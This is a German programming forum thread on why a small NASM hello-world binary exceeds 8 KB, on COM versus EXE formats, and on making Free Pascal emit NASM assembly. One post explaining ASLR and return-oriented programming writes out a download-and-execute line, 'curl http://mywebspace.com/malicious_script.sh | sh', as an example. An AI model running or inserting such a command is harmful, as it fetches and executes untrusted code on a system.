Purer Assembler, grosse bin

[Mathias]

Ich habe mal versucht, ein kleines Helloworld in Puren Assembler umzusetzen.
Was mich dabei erstaunt, das die bin über 8KByte hat.

Code: Alles auswählen

; nasm -felf64 hello.asm && ld hello.o && ./a.out
          global    _start

          section   .text
_start:   mov       rax, 1                  ; system call for write
          mov       rdi, 1                  ; file handle 1 is stdout
          mov       rsi, message            ; address of string to output
          mov       rdx, 19                 ; number of bytes
          syscall                           ; invoke operating system to do the write
          mov       rax, 60                 ; system call for exit
          xor       rdi, rdi                ; exit code 0
          syscall                           ; invoke operating system to exit

          section   .data
message:  db        27,"[93m",  "Hello, World", 10, 10      ; note the newline at the end

Wo geht da soviel Overhead verloren ?

[Warf]

Du kannst es ja mal mit readelf laden:

Code: Alles auswählen

$> readelf -e a.out
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          8472 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         3
  Size of section headers:           64 (bytes)
  Number of section headers:         6
  Section header string table index: 5

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000401000  00001000
       0000000000000025  0000000000000000  AX       0     0     16
  [ 2] .data             PROGBITS         0000000000402000  00002000
       0000000000000013  0000000000000000  WA       0     0     4
  [ 3] .symtab           SYMTAB           0000000000000000  00002018
       00000000000000a8  0000000000000018           4     3     8
  [ 4] .strtab           STRTAB           0000000000000000  000020c0
       000000000000002b  0000000000000000           0     0     1
  [ 5] .shstrtab         STRTAB           0000000000000000  000020eb
       0000000000000027  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000000e8 0x00000000000000e8  R      0x1000
  LOAD           0x0000000000001000 0x0000000000401000 0x0000000000401000
                 0x0000000000000025 0x0000000000000025  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000402000 0x0000000000402000
                 0x0000000000000013 0x0000000000000013  RW     0x1000

 Section to Segment mapping:
  Segment Sections...
   00
   01     .text
   02     .data

Wie du sehen kannst sind die Programm Headers ein 4k Alignment, bei 3 headern ists also 2 aligments => 8k. Das ist schlicht und ergreifend einfach memory alignment, keine Daten. Einfach nur um das laden effizienter zu gestalten

[Mathias]

Das wäre eine Erklärung.

War da nicht dazumal noch etwas zwischen EXE und COM ?
Die COMs waren doch recht kompakt und die EXE dazumal schon aufgebläht.

[af0815]

COM sind direkte Speicherabbilder, die nicht verschoben werden, sondern immer an eine Adresse geladen wurden ($100 war es mal). Dadurch waren die kompakt und einfach. Eine EXE beinhaltet verschiebbaren Code, das heisst aber auch die Zusatzinfos was geändert werden muss. Das Format ist flexibler, weil die Adressen erst zur Laufzeit gebildet werden. Der Nachteil ist das das ganze 'aufgeblähter' ist, dafür aber vom Loader beliebig im Speicher verschoben werden kann. Das geht beim kompakteren Code von Com nicht.

[Mathias]

Eine EXE beinhaltet verschiebbaren Code, das heisst aber auch die Zusatzinfos was geändert werden muss. Das Format ist flexibler,

Und ich vermute mal, da Linux ein modernes OS ist, wird es da wie bei den DOS-EXE sein. Und COM-Datei sind ein Relikt aus der Anfangszeit, wo der Speicher auch noch sehr knapp war ?

[Warf]

Es ist vor allem eine Sicherheitsmaßnahme. Adress Space Layout Randomization (ASLR) wird gemacht damit die Addressen an denen der Code steht bei jeder Auführung zufällig ist, um so genanntes Return Oriented Programming (ROP) schwerer zu machen. Beim ROP werden Buffer Overflow bugs ausgenutzt um die Return Addresse des aktuellen Stack Frames zu überschreiben, sodass die auf einen anderen Teil des Codes zeigen. Z.B. könnte man den Stack so perparieren das statt zu der Aufrufenden Funktion zurückzukehren die das folgende aufgerufen wird: System('curl http://mywebspace.com/malicious_script.sh | sh') und sobald die funktion Returned wird statt zum Aufrufort zurückzuspringen ein Script runtergeladen und in einer Shell ausgeführt.

Durch ASLR wird das erschwert, indem der Angreifer nicht weiß an welcher stelle jetzt genau die System funktion liegt, und somit das erst rausfinden muss. Da das bei jeder ausführung anders ist, muss er damit innerhalb einer Ausführung damit 2 Sicherheitslücken finden und ausnutzen können (1. Rausfinden wo LibC liegt, 2. ROP ausführen).

[Mathias]

So wie es scheint, sie die Zeiten vorbei, als es Wettbewerbe gab, welche die schönsten Animationen 1KByte Code packte.

[Mathias]

Die passt noch zum Thema.

Wen ich ein Project mit *-a" compiliere, bekomme ich eine project.s, nur wird mir diese nicht in Intel-Assembler ausgespuckt, sondern im AT&T Format.

Ich habe noch folgendes in den Sourcen versucht, aber wie erartet kein Erfolg.

Code: Alles auswählen

{$ASMMODE intel}  

Dies scheint nur beim Inline-Assembler zu funktionieren.

Gibt es dafür auch einen Parameter ?

[PascalDragon]

Die passt noch zum Thema.

Wen ich ein Project mit *-a" compiliere, bekomme ich eine project.s, nur wird mir diese nicht in Intel-Assembler ausgespuckt, sondern im AT&T Format.

Ich habe noch folgendes in den Sourcen versucht, aber wie erartet kein Erfolg.

Code: Alles auswählen

{$ASMMODE intel}  

Dies scheint nur beim Inline-Assembler zu funktionieren.

Gibt es dafür auch einen Parameter ?

Das Format der Assemblydateien hängt von dem gewählten Assembler ab. Die für deine Platform verfügbare Liste erhältst du in der Hilfeausgabe (-h) unter dem Punkt Output format (wobei nicht jeder Assembler für jedes Betriebssystem nutzbar ist).

[Mathias]

Einzig was ich mit Intel gefunden habe, ist dies hier:

Code: Alles auswählen

-Rintel   

Aber dies macht was anderes.

[Mathias]

Mit durchprobieren bin ich hier gelandet:

Code: Alles auswählen

-Anasm

Nachtrag:
Der Assemblercode wird brav erzeugt, aber dafür lässt es sich nicht mehr compilieren und starten.

[PascalDragon]

Einzig was ich mit Intel gefunden habe, ist dies hier:

Code: Alles auswählen

-Rintel   

Aber dies macht was anderes.

Lies doch mal die Hilfeausgabe... Ich hab gesagt unter Output formats.

Mit durchprobieren bin ich hier gelandet:

Code: Alles auswählen

-Anasm

Nachtrag:
Der Assemblercode wird brav erzeugt, aber dafür lässt es sich nicht mehr compilieren und starten.

Du brauchst natürlich auch den passenden Assembler. Im Fall von nasm eben, tada, nasm.

[Mathias]

Du brauchst natürlich auch den passenden Assembler. Im Fall von nasm eben, tada, nasm.

Den habe ich schon installiert, mit dem kompiliere ich nackte Assembler-Programme.

Folgender Fehle wird ausgespuckt:

Code: Alles auswählen

Projekt kompilieren, Ziel: /n4800/DATEN/Programmierung/mit_GIT/Lazarus/Diverses/Assembler/printf_asm_test/project1: Exit code 1, Fehler: 54, Hinweise: 5
Hint: Start of reading config file /home/tux/fpcupdeluxe_trunk/fpc/bin/x86_64-linux/fpc.cfg
Hint: End of reading config file /home/tux/fpcupdeluxe_trunk/fpc/bin/x86_64-linux/fpc.cfg
Verbose: Free Pascal Compiler version 3.3.1-12902-g5de228eeea [2023/07/04] for x86_64
Verbose: Copyright (c) 1993-2023 by Florian Klaempfl and others
Verbose: Target OS: Linux for x86-64
Verbose: Compiling project1.lpr
project1.lpr(23,10) Hint: Conversion between ordinals and pointers is not portable
Error: /n4800/DATEN/Programmierung/mit_GIT/Lazarus/Diverses/Assembler/printf_asm_test/lib/x86_64-linux/project1.s:383: error: parser: instruction expected
....
Error: /n4800/DATEN/Programmierung/mit_GIT/Lazarus/Diverses/Assembler/printf_asm_test/lib/x86_64-linux/project1.s:820: error: parser: instruction expected
Verbose: Assembling project1
Error: Error while assembling exitcode 1
Verbose: There were 2 errors compiling module, stopping
Verbose: Compilation aborted
Verbose: /home/tux/fpcupdeluxe_trunk/fpc/bin/x86_64-linux/ppcx64 returned an error exitcode

Der gleiche Fehler kommt auch, wen ich nasm manuell aufrufe.

Code: Alles auswählen

nasm -f elf64 project1.s

[PascalDragon]

Du brauchst natürlich auch den passenden Assembler. Im Fall von nasm eben, tada, nasm.

Den habe ich schon installiert, mit dem kompiliere ich nackte Assembler-Programme.

Folgender Fehle wird ausgespuckt:

Dann melde bitte einen Bug mit einem vollständigen, minimalen Beispiel, das den Fehler reproduziert.

[Mathias]

Ich habe noch folgendes durchprobiert, da schein nasm zu funktionieren.
Das ld nicht geht, liegen daran, das man noch irgendeine lib mit "-l" einbinden muss.

Code: Alles auswählen

$ fpc project1.lpr -Anasm -a
Free Pascal Compiler version 3.2.2 [2021/07/09] for x86_64
Copyright (c) 1993-2021 by Florian Klaempfl and others
Target OS: Linux for x86-64
Compiling project1.lpr
Assembling project1
Linking project1
5 lines compiled, 0.0 sec
tux@tux-B660M-DS3H-DDR4:~/Schreibtisch/dragon_test_2$ rm ./project1
tux@tux-B660M-DS3H-DDR4:~/Schreibtisch/dragon_test_2$ rm ./project1.o
tux@tux-B660M-DS3H-DDR4:~/Schreibtisch/dragon_test_2$ nasm -f elf64 project1.s
tux@tux-B660M-DS3H-DDR4:~/Schreibtisch/dragon_test_2$ ld project1.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000
ld: project1.o: in function `..@c5':
project1.s:(.text+0xe): undefined reference to `fpc_initializeunits'
ld: project1.s:(.text+0x13): undefined reference to `fpc_get_output'
ld: project1.s:(.text+0x2d): undefined reference to `fpc_write_text_shortstr'
ld: project1.s:(.text+0x32): undefined reference to `fpc_iocheck'
ld: project1.s:(.text+0x3a): undefined reference to `fpc_writeln_end'
ld: project1.s:(.text+0x3f): undefined reference to `fpc_iocheck'
ld: project1.s:(.text+0x44): undefined reference to `fpc_do_exit'
ld: project1.o: in function `INITFINAL':
project1.s:(.data+0x10): undefined reference to `INIT$_$SYSTEM'
ld: project1.o: in function `FPC_THREADVARTABLES':
project1.s:(.data+0x24): undefined reference to `THREADVARLIST_$SYSTEM$indirect'
tux@tux-B660M-DS3H-DDR4:~/Schreibtisch/dragon_test_2$